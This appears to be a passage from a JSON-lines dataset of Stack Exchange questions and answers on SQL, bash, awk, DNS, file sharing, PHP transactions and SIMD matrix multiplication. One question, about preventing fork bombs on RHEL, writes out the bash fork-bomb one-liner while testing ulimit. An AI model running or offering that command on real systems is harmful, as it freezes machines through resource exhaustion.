join to Posts at all in your CTE since you don't use any of its columns and you get a Post must exist requirement from your main query.Along the same lines, you don't use PostHistory at all in your query but join to it all the same.You declare @deleted_post but you never use it; you just set @closed_post twice (presumably incorrectly the second time to the ID of the Deleted Post row.)But then again, you don't use @closed_post or @deleted_post in your query, so why are you getting those exactly?Some None-1-2 testing would reveal if SE ever adds a new votetype beginning with Down your query will fail as you assume your @downvote variable will only be assigned a single scalar value. So either add TOP 1 to your query or change your WHERE clause to an = operator to prevent this. (Also, since you're only searching for the DownMod votetype, why the LIKE operator in the first place?)I removed the CTE entirely and changed your Main Query to:SELECT     Posts.Id AS [Post Link]               -- magic column  , Posts.OwnerUserId AS [User Link]      -- magic column  , Posts.CreationDate AS [Creation Date]  , Posts.ClosedDate AS [Closed Date]FROM PostsINNER JOIN Votes    ON Posts.Id = Votes.PostIdWHERE Posts.CreationDate <= @today  AND Posts.CreationDate > @target_week  AND Posts.PostTypeId = @question_post  AND Posts.ClosedDate IS NOT NULL  AND VoteTypeId = @downvoteGROUP BY    Posts.Id  , Posts.OwnerUserId  , Posts.CreationDate  , Posts.ClosedDateORDER BY    Posts.CreationDate DESCPersonally, I would just call your Top 1 Subquery to get the DownMod VotetypeID and Question PostTypeID directly in the query, but that's just religion."  } 
{  "id": "_webapps.46463"  , "question": "I have searched and tried various solutions elsewhere but none seems to work for both conditions. I would like to have the formula:=IF($A2=Elementary, VLOOKUP($B2,'ELEM PRINCIPAL'!$B:$AA,7,false), VLOOKUP($B2,'HS PRINCIPAL'!$B:$AA,7,false))inserted as new rows are added to my spreadsheet. That is all simple I hope. Thanks."  , "title": "Auto paste formula on form submission"  , "tags": "google spreadsheets;google apps script"  } 
{  "id": "_unix.259203"  , "question": "As part of my security job, I analyze dozens of Google Chrome history files each day using sqlite3 over SSH.There are a few dozen authorized safe sites each user is allowed to navigate to.  For my purposes, I don't care about these safe sites.  To list the URLs of each history file and ignore the safe websites, I use grep -v and list each safe site as follows:sqlite3 /home/me/HistoryDatabaseFile.db select * from urls order by url; | grep -v safesite1.com | grep -v safesite2.com | grep -v safesite3.com | grep -v safesite4.comand on and on.  My command has grown to at least 20 lines and is becoming unmanageable. Is there any way I could show the user's list of URLs while excluding my safe sites in a listed format?  I'm imagining something like:safesite1.comsafesite2.comsafesite3.comand then bringing that list into the command.  It can be internal or external- I don't really care as long as it ends up outputting in bash.Thanks for any help you can give me! "  , "title": "Run multiple piped grep commands from a list in bash"  , "tags": "bash;ssh;grep;sql"  } 
{  "id": "_codereview.162076"  , "question": "I'm writing a Mandelbrot Set implementation, and to map the Mandelbrot coordinates to screen coordinates, I'm using Quil's map-range function. Essentially, it takes a number within a certain range, and maps it to a number of another range. It worked great when I was first testing since it's fast, but it forces using float numbers, which is unacceptable since I need far more precision.I looked up the source of the function, and wrote my own Clojure version. It works, but it's painfully slow. The following measurements were taken using the Criterium library's bench function. Casting times were not included in the measurement:quil's version: 31.7nsmy version, no casting: 450.7nsmy version, casting input to float: 130.1ns... casting to double: 122.5ns... casting to long: 440.8ns... casting to BigDecimal: 880.2nsIdeally, I'd like to be using BigDecimal, but using it currently causes the entire IDE to freeze, and froze my entire computer once.The main problem is, the code is so simple, I don't know how I could possibly improve it. It's literally just a math equation:(defn map-range [value start1 stop1 start2 stop2]  (+ start2     (* (- stop2 start2)        (/ (- value start1)           (- stop1 start1)))))I understand that BigDecimal will always be slower, I've accepted that. But even a float to float comparison is more than 4x slower.Is there any kind of trickery I can use to at least make this as fast as quil's version? All they use is plain math; my code is a direct translation from Java's infix notation to Clojure's prefix notation.Any advice here would be appreciated."  , "title": "Map-range supporting different precisions"  , "tags": "performance;clojure"  } 
{  "id": "_codereview.56957"  , "question": "I am using try/catch syntax in combination with a database transaction to (hopefully) prevent partial registrations.I am wondering if I'm on the right track, and what ways, if any, I can improve my code.Please be advised that __construct() is passed an array of unsanitized post values that have been organized into an array after the controller has checked the CSRF tokens, and this object is constructed. Once construction is finished without error, a try catch block on add_user(). I would show some of the other code, but its a proprietary design pattern that closely emulates angular JavaScript (with far superior performance, but sacrificing readability and longer development time). Someday I'll opensource the design pattern.Here is an excerpt from my class AddNewUser that illustrates the question:function __construct($user){    if(!is_array($user)) {        incident('possible hack attempt','registration');        throw new \\Exception('Invalid data received');      }    if($user['termsofservice'] !== 'agree') {        incident('non ajax submission','registration');        throw new \\Exception ('Must agree to terms of service');    }    if($user['privacypolicy'] !== 'agree') {        incident('non ajax submission','registration');        throw new \\Exception ('Must agree to privacy policy');    }    if(usernameExists($user['username'])){        incident('possible user enumeration','registration');        throw new \\Exception('Username Taken');    }    if(emailExists($user['email'])) {        incident('possible email enumeration','registration');        throw new \\Exception('Email Taken');    }    if(minMaxRange(3,25,$user['username'])) {        throw new \\Exception('Username must be 3 to 25 charachters in length') ;    }    if(minMaxRange(8,50,$user['password'])) {        throw new \\Exception('Password must be 8 to 50 charachters in length');    }    $this->user_name        = security($user['username']);    $this->user_pass        = generateHash($user['password']);    $this->user_email       = $user['email'];    $this->user_ip          = get_ip_address();    $this->verification     = generateActivationToken();    $this->signupstamp      = time();    $this->user_agent       = security($user['agent']);    $this->user_active      = 0;    $this->user_verified    = 0;    $this->terms_of_service = security($user['termsofservice']);    $this->privacy_policy   = security($user['privacypolicy']);}public function adduser(){    global $db,$cfg;    try{        $query = $db->query(START TRANSACTION;);        $stmt = $db->prepare(INSERT INTO users (u_name, u_pass, u_email, u_verified, u_ip, u_active, u_verification, u_signup_stamp, u_agent) VALUES (?,?,?,?,?,?,?,?,?));        $stmt->bind_param('sssisisis',$this->user_name,$this->user_pass,$this->user_email,$this->user_verified,$this->user_ip,$this->user_active,$this->verification,$this->signupstamp,$this->user_agent);        $stmt->execute();        $stmt->close();        $stmt = $db->prepare(INSERT INTO termsofservice (ip_addr,u_name,u_agent,answer,timestamp) VALUES (?,?,?,?,?));        $stmt->bind_param('ssssi',$this->user_ip,$this->user_name,$this->user_agent,$this->terms_of_service,$this->signupstamp);        $stmt->execute();        $stmt->close();        $stmt = $db->prepare(INSERT INTO privacypolicy (ip_addr,u_name,u_agent,answer,timestamp) VALUES (?,?,?,?,?));        $stmt->bind_param('ssssi',$this->user_ip,$this->user_name,$this->user_agent,$this->privacy_policy,$this->signupstamp);        $stmt->execute();        $stmt->close();        try{            $mail = new Email('registration',$this->user_email,$this->user_name,'Important: Account Activation',$cfg['email']['no-reply']);            $query = $db->query(COMMIT;);        }        catch(Exception $e){            incident('smtp unreachable','registration');            throw new \\Exception('Unable to send activation email');        }        return true;    }    catch(Exception $e) {        incident('sql problems','registration');        throw new \\Exception('An unknown Error Occured');    }}"  , "title": "Usage of try/catch and database transactions"  , "tags": "php;error handling"  } 
{  "id": "_webmaster.49794"  , "question": "I am trying to figure out best-practise for moving a single page of content from one domain to another in a way that will preserve search engine ranking. I have found plenty of instructions for wholesale domain moves, but this situation is slightly different. I have a blog, one page of which gets a lot of search traffic for a specific term. I would like to take that one page of content and move it to an entirely new domain, which I will then use to start adding new content to.My plan so far:register the new domainremove the single page of content from the old domainput up the single page of content on the new domainset up a 301 redirect for the URL of the page on the old domain, pointing to the new domain Is this the right way to do it? Is there anything else I need to do in order to keep Google happy? "  , "title": "How to move a single page of content to a new domain"  , "tags": "seo;google;domains;blog"  , "accepted_answer": "Yes, that's a good start. To add to your steps:Check to make sure that you don't have any internal links to the old page in your content or sitemap, and if so change them to the new URL.Check for external links in Google Webmaster Tools, and if possible, try to contact the webmaster of the referring site to change them to the new URL.To avoid any potential for duplicate content issues, in case it appears elsewhere, you might add a Canonical link to the page.Submit your updated sitemap to Google Webmaster Tools, and other search engines.Use the Fetch As Google function in Google Webmaster Tools so that Google will re-crawl and index your site. See this for more information on that:Ask Google to crawl a page or site"  } 
{  "id": "_unix.375644"  , "question": "Can I use aplay to play sound from internet real time feedback such as:aplay http://...If possible, how to write the codes? "  , "title": "Can 'aplay' play sound from internet?"  , "tags": "command line;http;music player"  } 
{  "id": "_unix.25404"  , "question": "Possible Duplicate:Is Linux a Unix? Kind of confused by the two terms. Is there any difference between the two terms?"  , "title": "Is there a difference between Linux and Unix?"  , "tags": "linux"  , "accepted_answer": "This really depends on what you mean by Unix. Unix has come to mean various things in modern times (and even at the creation point of Linux, it meant multiple things).In general, Unix is not a particular system, but a specification for systems calling themselves Unix-like. When people say Unix they do not necessarily mean the proprietary operating system owned by AT&T/Novell/Cisco/whoever now owns it when you're reading this, rather, they usually are referring to the whole spectrum of Unix-like OSes, like AIX, HP-UX, Linux, BSD, Solaris, etc. To this degree, Linux is a FOSS, Unix-like kernel. It is not a direct fork of the original Unix codebase, but it shares many similarities.Another reason that many people regard Linux to be Unix-like is the fact that it is mostly POSIX-compliant (which is very important for compatibility with other Unix-like systems). Some also associate Linux with Unix because of the initial history of the project -- Linux was largely inspired by (but was not a fork of) MINIX, which is, and was, widely regarded to be an attempt to create a FOSS Unix clone. Many Linux distributions also often implement many tools (or clones/approximations of tools) from Unix, often in the form of GNU Coreutils. Nowadays these tools have been changed a lot (some would argue for the worse, GNU Coreutils is notorious for feature creep), but usually still maintain portability with their original counterparts.Linux is also indisputably free, open-source software under the GPL, whereas the licensing of the original Unix codebase often depends on who you're asking, and when."  } 
{  "id": "_unix.387046"  , "question": "I built a script that queries the domain registry. Just a disclaimer, this is NOT a hacking attempt. I am trying to gather a list of domains that my company does NOT host. Lets assume that the NameServer my company owns is ns.foo.net and my script does the following:Checks whois to find the Name Server of each domain.Then checks to see if the A record (querying the NameServer found) matches our IP address.If the Name Server is not ours AND the A record of the domain is not ours, add to a list. Otherwise, ignore it and move on through the list.Let us also assume the list of domains are as follows:example.netexampleagain.orgblah.orgwhatever.comHere is my script:#!/bin/bashFILE=sites.txtREGEX=Name ServerOUR_IP=192.168.5.10#Read from Text filewhile read -r line; do        SERVER=`whois $line | grep -m 1 $REGEX | awk '{print $3}'`        shopt -s nocasematch        HOST=`host -ta $line $SERVER`        if [[ ! $SERVER =~ foo.net && ! $HOST =~ $OUR_IP ]]; then                echo $line >> results.txt        fi        sleep 1;done<$FILEI am noticing that the domains being added contains an A record of $OUR_IP and sometimes foo.net (my domain). What could be wrong with the if statement that is breaking the logic?"  , "title": "DNS query with bad logic"  , "tags": "bash;dns"  } 
{  "id": "_unix.209270"  , "question": "Let's say you have to echo this into a file:RZWa4k6[)b!^%*X6EvfHow do you do it?My actual line to echo is a 2048 characters line. "  , "title": "Echoing something with multiple quotes and key characters (&, $, !, etc.)"  , "tags": "shell script;quoting;echo"  } 
{  "id": "_unix.344440"  , "question": "I have two computers connected to the same router (so they are essentially connected in a LAN). Both run some GNU+Linux distribution. I have a bunch of files, in a directory ~/A/ on my first computer that I would like to transfer to my second computer.The names of the files in A are contained in a certain list, say names_list. Now I would like for each of these files to be accessible via a local address, provided with reference to the router (such as 192.168.2.1:2112/name_of_file or something similar), so that the second computer may simply download each file one-by-one when given the names_list.How can I do this? The downloading part is trivial, I am asking mainly regarding setting up the host computer to provide files at specific local addresses. "  , "title": "Make files available through local address"  , "tags": "files;filesystems;file sharing;file transfer;lan"  , "accepted_answer": "Plenty of remote filesystems exist. There are three that are most likely to be useful to you.SSHFS accesses files via an SSH shell connection (or more precisely, via SFTP). You don't need to set up anything exotic: just install the OpenSSH server on one machine, install the client on the other machine, and set up a way to log in from the client to the server (either with a password or with a key). Then mount the remote directory on the first computer:mkdir ~/second-computer-Asshfs 192.168.2.1:A ~/second-computer-ASSHFS is the easiest one to set up as long as you have access to all the files through your user account on the second computer.NFS is Unix's traditional network filesystem protocol. You need to install an NFS server on the server. Linux provides two, one built into the kernel (but you still need userland software to manage the underlying RPC protocol and the additional lock protocol) and one as a pure userland software. Pick either; the kernel one is slightly faster and slightly easier to set up. On the server, you need to export the directory you want to access remotely, by adding an entry to /etc/exports:/home/zakoda/A 192.168.2.2(rw,sync)On the second computer, as root:mkdir /media/second-computer-Amount -t nfs 192.168.2.1:/home/zakoda/A /media/second-computer-ABy default NFS uses numerical user and group IDs, not user and group names. So this only works well if you have the same user IDs on the server and on the client. If you don't, set up nfsidmap on the server.Samba is Windows's network filesystem protocol (rather, it's an open-source implementation of the protocol, which was called SMB and is now called CIFS). It's also available on Linux and other Unix-like systems. It's mainly useful to mount files from a Windows machine on a Unix machine or vice versa, but it can also be used between Unix machines. It has the advantage that matching accounts is easier to set up than with NFS. The initial setup is a bit harder but there are plenty of tutorials, e.g. server and client."  } 
{  "id": "_unix.197122"  , "question": "First of all I'm new to awk so please excuse if it's something simple.I'm trying to generate a file that contains paths. I'm using for this an ls -LT listing as well as an awk script:This is an example of the input file:vagrant@precise64:/vagrant$ cat structure-of-home.cnf/home/:vagrant/home/vagrant:postinstall.shThis would be the expected output:/home/vagrant/home/vagrant/postinstall.shThe awk script should do the following:Check whether the line has a : in itIf yes  allocate the string (without :) to a variable ($path in my case)If the line is empty print nothingIf it's not empty and it does not contain a : print the $path and then the current line $0Here's the script:BEGIN{path=}{    if ($1 ~ /\\:/)        {        sub(/\\:/,,$1)        if (substr($1, length,1) ~ /\\//)            {            path=$1;            }        else            {            path=$1/            }        }    else if (length($0) == 0)        {}    else        print $path$1}The problem is that when I run the script I get the following mess:vagrant@precise64:/vagrant$ awk -f format_output.awk structure-of-home.cnfvagrantvagrantpostinstall.shpostinstall.shWhat am I doing wrong please?"  , "title": "awk ifs and variables - cannot pass a variable from one line towards subsequent lines"  , "tags": "awk"  , "accepted_answer": "As pointed out by taliezin, your mistake was to use $ to expand path when printing. Unlike bash or make, awk doesn't use the $ to expand variables names to their value, but to refer to the fields of a line (similar to perl).So just removing this will make your code work:BEGIN{path=}{    if ($1 ~ /\\:/)        {        sub(/\\:/,,$1)        if (substr($1, length,1) ~ /\\//)            {            path=$1;            }        else            {            path=$1/            }        }    else if (length($0) == 0)        {}    else        print path$1}However, this is not really an awkish solution:First of all, there is no need to initialize path in a BEGIN rule, non-defined variables default to  or 0, depending on context.Also, any awk script consist of patterns and actions, the former stating when, the latter what to do.You have one action that's always executed (empty pattern), and internally uses (nested) conditionals to decide what to do.My solution would look like this:# BEGIN is actually a pattern making the following rule run only once:# That is, before any input is read.BEGIN{  # Split lines into chunks (fields) separated by :.  # This is done by setting the field separator (FS) variable accordingly:# FS=:  # this would split lines into fields by :  # Additionally, if a field ends with /,  # we consider this part of the separator.  # So fields should be split by a : that *might*  # be predecessed by a /.  # This can be done using a regular expression (RE) FS:  FS=/?:  # ? means the previous character may occur 0 or 1 times  # When printing, we want to join the parts of the paths by /.  # That's the sole purpose of the output field separator (OFS) variable:  OFS=/}# First we want to identify records (i.e. in this [default] case: lines),# that contain(ed) a :.# We can do that without any RE matching, since records are# automatically split into fields separated by :.# So asking >>Does the current line contain a :?<< is now the same# as asking >>Does the current record have more than 1 field?<<.# Luckily (but not surprisingly), the number of fields (NF) variable# keeps track of this:NF>1{  # The follwoing action is run only if are >1 fields.  # All we want to do in this case, is store everything up to the first :,  # without the potential final /.  # With our FS choice (see above), that's exactly the 1st field:  path=$1}# The printing should be done only for non-empty lines not containing :.# In our case, that translates to a record that has neither 0 nor >1 fields:NF==1{  # The following action is only run if there is exactly 1 field.  # In this case, we want to print the path varible (no need for a $ here)  # followed by the current line, separated by a /.  # Since we defined the proper OFS, we can use , to join output fields:  print path,$1  # ($1==$0 since NF==1)}And that's all. Removing all the comments and moving the [O]FS definitions to command line arguments, all you have to write is:awk -F/?: -vOFS=\\/ 'NF>1{path=$1}NF==1{print path,$1}' structure-of-home.cnf"  } 
{  "id": "_unix.265911"  , "question": "What are the differences betweenKill a processSuspend a process Terminate a processIn which situations each methods uses practically?"  , "title": "What are the differences between KILL, SUSPEND and TERMINATE of a process"  , "tags": "bash;process"  , "accepted_answer": "To suspend a process means to make it stop executing for some time. When the process is suspended, it doesn't run, but it's still present in memory, waiting to be resumed (woken up). A process can be suspended by sending it the STOP signal, and resumed by sending it the CONT signal.To kill a process means to cause it to die. This can be done by sending it a signal. There are various different signal, and they don't all cause the process to die. the KILL signal always does cause the process to die; some other signals typically do but the process can choose to do something different; and there are signals whose role is not to cause the process to die, for example STOP and CONT. Note that the kill utility and the kill C function send a signal, which may or may not actually kill the process.To terminate a process means to cause it to die. The difference between kill and terminate is that kill generally refers specifically to sending a signal, whereas terminate usually also includes other methods such as sending the process a command that tells it to exit (if the process includes a command interpreter of some kind)."  } 
{  "id": "_softwareengineering.136376"  , "question": "I was a full time java developer, now I'm also working with JavaScript and Android. A couple of years back when I started learning JavaScript, the first library I tried was jQuery. But it made my life harder, and after sometime I started writing fairly large a JavaScript app. It wasn't coming together for me using jQuery. I had huge a code base without much of a structure. Method blocks updating HTML blocks using selectors.  Then I tried MooTools and obviously as a Java developer it appealed to me a lot. And I was able to write managable web apps having huge code base.  As per my understanding MooTools is not considered a preferred way to write JavaScript because it mimics conventional OO over default prototype-based OO language. So now to really understand Javascript and desire of walking with the world, I decided to try other approaches, so again I turned back to jQuery, and realise that only jQueryis not enough. So started looking at current trending frameworks like backbone, spine, ember.js, sprouteCore. Strangely I found that these frameworks mimic conventional OO like MooTools only by having constructors and creating a object of class and reusing this class object to create instance objects. SoAm I missing something? Is MooTools really wrong? MooTools project is very alive and releases new versions/features, but I don'tsee many people talking about it on internet, also there are nocomparisons vs backbone/spine etc."  , "title": "Is mootools alternative of jquery + backbone / spine / sprouteCore"  , "tags": "javascript;jquery;mootools"  } 
{  "id": "_softwareengineering.63215"  , "question": "We're going to do a complete review of a Java/JEE based application. This includes an architecture review, code review and platform hardware review.While we're a bit aware of code review techniques, I'm wondering if there is a template or reference model for doing an architecture review for Java/JEE systems.Currently we're looking at following the ATAM Model to build a Quality Attribute Tree to cover the elements of Performance, Reliability, Availability, Security, Modifiability, Portability, Variability, Subsetability, Conceptual integrity and FunctionalityThis is a first for us - so the question is whether there are any other standard models you follow or whether anyone has tried ATAM before and has any tips/recommendations/tools for the Architecture review."  , "title": "Architecture Review Guidelines for Java/JEE project"  , "tags": "java;architecture;quality;review"  } 
{  "id": "_webmaster.53132"  , "question": "I got a ton of not found errors in Google Webmaster Tools, but the weird thing is, all of the pages ARE found. There is absolutely no error in the URLs they list that supposedly don't exist. Why is this happening?"  , "title": "Google Webmaster Tools increase in not found errors is wrong"  , "tags": "google search console;404;crawl errors"  } 
{  "id": "_unix.85411"  , "question": "To prevent fork bomb I followed this http://www.linuxhowtos.org/Tips%20and%20Tricks/ulimit.htmulimit -a reflects the new settings but when I run (as root in bash) :(){ :|:&};: the VM still goes on max CPU+RAM and system will freeze. How to ensure users will not be bring down the system by using fork bombs or running a buggy application?OS: RHEL 6.4"  , "title": "How to prevent fork bomb?"  , "tags": "rhel;freeze;resources;ulimit"  , "accepted_answer": "The superuser or any process with the CAP_SYS_ADMIN or CAP_SYS_RESOURCE capabilities are not affected by that limitation, that's not something that can be changed. root can always fork processes.If some software is not trusted, it should not run as root anyway."  } 
{  "id": "_softwareengineering.191949"  , "question": "I know there are different ways to combine programming languages (Haskell's FFI, Boost with C++ and Python, etc...). I have an odd interest in combining programming languages; however, I have only found it necessary once (I didn't want to rewrite some older code). Also, I notice that this interest is shared (there are an abundance of questions about integrating languages on SO).My question is, simply, are there any other benefits in combining programming languages? Is there value in mixing different programming paradigms (e.g. functional+OO, procedural+aspect-oriented)?Any from-the-field examples would be much appreciated.UPDATEWhen I say combine two languages I am talking about using them in conjunction, in ways not necessarily originally intended. For example, suppose I use Boost to incorporate Python code in C++."  , "title": "Benefits of combining programming languages"  , "tags": "programming languages;language agnostic"  , "accepted_answer": "A typical example shows up in the Computer games, particularly AAA titles where a C++ backend is the norm. The interface section will often be designed in a scripting language such as Python or Lua. This allows for easy modification by both the developers so they can test out new interface designs without messing with the highly complex physics and graphics engines underneath and at the same time allows for easy modification by players who may not have the coding chops to handle a full game engine but can competently do a few interface tweaks.Another widespread use case is the web itself. Javascript, CSS and HTML combine to form a front end with whatever you want as a backend on the server. Windows 8 apps use a similar approach with the declarative XAML defining interfaces and providing class outlines while C# fills in the details and runs the thing.Thus, the typical divide will be a fast, statically typed language running a solidly tested codebase handling heavily numerical work with a scripting language running on top of it to provide easily changeable frontends handling visual and presentation functions as well as input.Other use cases exist as well. Data processing languages like R can be bolted on to other codebases to provide analytic and presentation functions more easily than the native codebase might be able to. As far as combinations of paradigms, a combination of Prolog for database work and some other language to handle the standard program functions is a known case. Another case would be having Fortran or Assembly routines for fast numerical computation within some scripting language like Python. Which is exactly what Numpy and Scipy do."  } 
{  "id": "_unix.242142"  , "question": "I know that Iptables is a user-space module, I also read it configures kernel modules to do big part of the filtering. So my question is, if I add a rule to allow only TCP:443 packets, would this be handled at the kernel level?"  , "title": "Iptables: does dropping UDP packets take place in the user-space or kernel-space?"  , "tags": "linux;linux kernel;iptables;firewall"  } 
{  "id": "_codereview.52140"  , "question": "ProblemI am learning about HPC and code optimization. I attempt to replicate the results in Goto's seminal matrix multiplication paper. Despite my best efforts, I cannot get over ~50% maximum theoretical CPU performance.BackgroundSee related issues here, including info about my hardware.What I have attemptedThis related paper has a good description of Goto's algorithmic structure. I provide my source code below.My questionI am asking for general help. I have been working on this for far too long, have tried many different algorithms, inline assembly, inner kernels of various sizes (2x2, 4x4, 2x8, ..., mxn with m and n large), yet I cannot seem to break 50% CPU GFLOPS. This is purely for education purposes and not a homework.Compile OptionsOn 32 bit GCC:gcc -std=c99 -O3 -msse3 -ffast-math -march=nocona -mtune=nocona -funroll-loops -fomit-frame-pointer -masm=intelSource CodeI set up the macro structure (for loops) as described in the 2nd paper above. I pack the matrices as discussed in either paper. My inner kernel computes 2x8 blocks, as this seems to be the optimal computation for Nehalem architecture (see GotoBLAS source code - kernels). The inner kernel is based on the concept of calculating rank-1 updates as described here.#include <stdio.h>#include <time.h>#include <stdlib.h>#include <string.h>#include <x86intrin.h>#include <math.h>#include <omp.h>#include <stdint.h>// define some prefetch functions#define PREFETCHNTA(addr,nrOfBytesAhead) \\        _mm_prefetch(((char *)(addr))+nrOfBytesAhead,_MM_HINT_NTA)#define PREFETCHT0(addr,nrOfBytesAhead) \\        _mm_prefetch(((char *)(addr))+nrOfBytesAhead,_MM_HINT_T0)#define PREFETCHT1(addr,nrOfBytesAhead) \\        _mm_prefetch(((char *)(addr))+nrOfBytesAhead,_MM_HINT_T1)#define PREFETCHT2(addr,nrOfBytesAhead) \\        _mm_prefetch(((char *)(addr))+nrOfBytesAhead,_MM_HINT_T2)// define a min function#ifndef min    #define min( a, b ) ( ((a) < (b)) ? (a) : (b) )#endif// zero a matrixvoid zeromat(double *C, int n){    int i = n;    while (i--) {        int j = n;        while (j--) {            *(C + i*n + j) = 0.0;        }    }}// compute a 2x8 block from (2 x kc) x (kc x 8) matricesinline void __attribute__ ((gnu_inline))        __attribute__ ((aligned(64))) dgemm_2x8_sse(                int k,                const double* restrict a1, const int cs_a,                const double* restrict b1, const int rs_b,                      double* restrict c11, const int rs_c                ){    register __m128d xmm1, xmm4, //                    r8, r9, r10, r11, r12, r13, r14, r15; // accumulators    // 10 registers declared here    r8 = _mm_xor_pd(r8,r8); // ab    r9 = _mm_xor_pd(r9,r9);    r10 = _mm_xor_pd(r10,r10);    r11 = _mm_xor_pd(r11,r11);    r12 = _mm_xor_pd(r12,r12); // ab + 8    r13 = _mm_xor_pd(r13,r13);    r14 = _mm_xor_pd(r14,r14);    r15 = _mm_xor_pd(r15,r15);        // PREFETCHT2(b1,0);        // PREFETCHT2(b1,64);    //int l = k;    while (k--) {        //PREFETCHT0(a1,0); // fetch 64 bytes from a1            // i = 0            xmm1 = _mm_load1_pd(a1);            xmm4 = _mm_load_pd(b1);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r8 = _mm_add_pd(r8,xmm4);            xmm4 = _mm_load_pd(b1 + 2);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r9 = _mm_add_pd(r9,xmm4);            xmm4 = _mm_load_pd(b1 + 4);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r10 = _mm_add_pd(r10,xmm4);            xmm4 = _mm_load_pd(b1 + 6);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r11 = _mm_add_pd(r11,xmm4);            //            // i = 1            xmm1 = _mm_load1_pd(a1 + 1);            xmm4 = _mm_load_pd(b1);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r12 = _mm_add_pd(r12,xmm4);            xmm4 = _mm_load_pd(b1 + 2);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r13 = _mm_add_pd(r13,xmm4);            xmm4 = _mm_load_pd(b1 + 4);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r14 = _mm_add_pd(r14,xmm4);            xmm4 = _mm_load_pd(b1 + 6);            xmm4 = _mm_mul_pd(xmm1,xmm4);            r15 = _mm_add_pd(r15,xmm4);        a1 += cs_a;        b1 += rs_b;        //PREFETCHT2(b1,0);        //PREFETCHT2(b1,64);    }        // copy result into C        PREFETCHT0(c11,0);        xmm1 = _mm_load_pd(c11);        xmm1 = _mm_add_pd(xmm1,r8);        _mm_store_pd(c11,xmm1);        xmm1 = _mm_load_pd(c11 + 2);        xmm1 = _mm_add_pd(xmm1,r9);        _mm_store_pd(c11 + 2,xmm1);        xmm1 = _mm_load_pd(c11 + 4);        xmm1 = _mm_add_pd(xmm1,r10);        _mm_store_pd(c11 + 4,xmm1);        xmm1 = _mm_load_pd(c11 + 6);        xmm1 = _mm_add_pd(xmm1,r11);        _mm_store_pd(c11 + 6,xmm1);        c11 += rs_c;        PREFETCHT0(c11,0);        xmm1 = _mm_load_pd(c11);        xmm1 = _mm_add_pd(xmm1,r12);        _mm_store_pd(c11,xmm1);        xmm1 = _mm_load_pd(c11 + 2);        xmm1 = _mm_add_pd(xmm1,r13);        _mm_store_pd(c11 + 2,xmm1);        xmm1 = _mm_load_pd(c11 + 4);        xmm1 = _mm_add_pd(xmm1,r14);        _mm_store_pd(c11 + 4,xmm1);        xmm1 = _mm_load_pd(c11 + 6);        xmm1 = _mm_add_pd(xmm1,r15);        _mm_store_pd(c11 + 6,xmm1);}// packs a matrix into rows of sliversinline void __attribute__ ((gnu_inline))        __attribute__ ((aligned(64))) rpack(        double* restrict dst,           const double* restrict src,             const int kc, const int mc, const int mr, const int n){    double tmp[mc*kc] __attribute__ ((aligned(64)));    double* restrict ptr = &tmp[0];    for (int i = 0; i < mc; ++i)        for (int j = 0; j < kc; ++j)            *ptr++ = *(src + i*n + j);    ptr = &tmp[0];    //const int inc_dst = mr*kc;    for (int k = 0; k < mc; k+=mr)        for (int j = 0; j < kc; ++j)            for (int i = 0; i < mr*kc; i+=kc)                *dst++ = *(ptr + k*kc + j + i);}// packs a matrix into columns of sliversinline void __attribute__ ((gnu_inline))        __attribute__ ((aligned(64)))  cpack(double* restrict dst,                 const double* restrict src,                 const int nc,                 const int kc,                 const int nr,                 const int n){    double tmp[kc*nc] __attribute__ ((aligned(64)));    double* restrict ptr = &tmp[0];    for (int i = 0; i < kc; ++i)        for (int j = 0; j < nc; ++j)            *ptr++ = *(src + i*n + j);    ptr = &tmp[0];    // const int inc_k = nc/nr;    for (int k = 0; k < nc; k+=nr)        for (int j = 0; j < kc*nc; j+=nc)            for (int i = 0; i < nr; ++i)                *dst++ = *(ptr + k + i + j);}void blis_dgemm_ref(        const int n,        const double* restrict A,        const double* restrict B,        double* restrict C,        const int mc,        const int nc,        const int kc    ){    int mr = 2;    int nr = 8;    double locA[mc*kc] __attribute__ ((aligned(64)));    double locB[kc*nc] __attribute__ ((aligned(64)));    int ii,jj,kk,i,j;    #pragma omp parallel num_threads(4) shared(A,B,C) private(ii,jj,kk,i,j,locA,locB)    {//use all threads in parallel        #pragma omp for        // partitions C and B into wide column panels        for ( jj = 0; jj < n; jj+=nc) {        // A and the current column of B are partitioned into col and row panels            for ( kk = 0; kk < n; kk+=kc) {                cpack(locB, B + kk*n + jj, nc, kc, nr, n);                // partition current panel of A into blocks                for ( ii = 0; ii < n; ii+=mc) {                    rpack(locA, A + ii*n + kk, kc, mc, mr, n);                    for ( i = 0; i < min(n-ii,mc); i+=mr) {                        for ( j = 0; j < min(n-jj,nc); j+=nr) {                            // inner kernel that compues 2 x 8 block                            dgemm_2x8_sse( kc,                                       locA + i*kc          ,  mr,                                       locB + j*kc          ,  nr,                                       C + (i+ii)*n + (j+jj),  n );                        }                    }                }            }        }    }}double compute_gflops(const double time, const int n){    // computes the gigaflops for a square matrix-matrix multiplication    double gflops;    gflops = (double) (2.0*n*n*n)/time/1.0e9;    return(gflops);}// ******* MAIN ********//void main() {    clock_t time1, time2;    double time3;    double gflops;    const int trials = 10;    int nmax = 4096;    printf(%10s %10s\\n,N,Gflops/s);    int mc = 128;    int kc = 256;    int nc = 128;    for (int n = kc; n <= nmax; n+=kc) { //assuming kc is the max dim        double *A = NULL;        double *B = NULL;        double *C = NULL;        A = _mm_malloc (n*n * sizeof(*A),64);        B = _mm_malloc (n*n * sizeof(*B),64);        C = _mm_malloc (n*n * sizeof(*C),64);        srand(time(NULL));        // Create the matrices        for (int i = 0; i < n; i++) {            for (int j = 0; j < n; j++) {                A[i*n + j] = (double) rand()/RAND_MAX;                B[i*n + j] = (double) rand()/RAND_MAX;                //D[j*n + i] = B[i*n + j]; // Transpose                C[i*n + j] = 0.0;            }        }            // warmup            zeromat(C,n);            blis_dgemm_ref(n,A,B,C,mc,nc,kc);            zeromat(C,n);            time2 = 0;            for (int count = 0; count < trials; count++){// iterations per experiment here                    time1 = clock();                    blis_dgemm_ref(n,A,B,C,mc,nc,kc);                    time2 += clock() - time1;                    zeromat(C,n);                }            time3 = (double)(time2)/CLOCKS_PER_SEC/trials;            gflops = compute_gflops(time3, n);            printf(%10d %10f\\n,n,gflops);        _mm_free(A);        _mm_free(B);        _mm_free(C);        }    printf(tests are 